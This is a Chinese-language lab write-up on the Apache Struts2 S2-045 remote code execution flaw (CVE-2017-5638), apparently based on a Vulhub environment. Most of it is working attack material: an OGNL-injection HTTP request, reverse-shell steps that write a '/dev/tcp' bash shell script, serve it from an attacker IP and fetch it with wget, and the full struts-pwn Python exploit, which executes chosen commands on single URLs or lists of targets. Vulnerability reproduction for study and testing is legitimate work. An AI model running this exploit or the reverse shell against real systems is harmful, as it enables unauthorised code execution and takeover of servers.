Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
漏洞描述
基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
影响版本
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
环境搭建
Vulhub执行以下命令启动s2-045测试环境:
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到上传页面。
漏洞复现
直接发送如下数据包,可见233*233
已成功执行:
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
反弹shell
编写shell脚本并启动http服务器:
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下:python -m http.server 80
上传shell.sh文件的命令为:
wget 192.168.174.128/shell.sh
通过漏洞EXP执行以上命令:
执行shell.sh文件的命令为:
bash shell.sh
通过漏洞EXP执行以上命令:
成功接收反弹shell:
漏洞EXP
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: id)",
action='store',
default='id')
parser.add_argument("--check",
dest="do_check",
help="Check if a target is vulnerable.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except requests.exceptions.ChunkedEncodingError:
print("[!] ChunkedEncodingError Error: Making another request to the url.")
print("Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.")
try:
output = b""
with requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False, stream=True) as resp:
for i in resp.iter_content():
output += i
except requests.exceptions.ChunkedEncodingError as e:
print("EXCEPTION::::--> " + str(e))
print("Note: Server Connection Closed Prematurely\n")
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
if type(output) != str:
output = output.decode('utf-8')
return(output)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
result = True
else:
result = False
except Exception as e:
print("EXCEPTION::::--> " + str(e))
result = False
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
if url:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except:
print('Error: There was an error in reading list file.')
exit(1)
for url in URLs_List:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)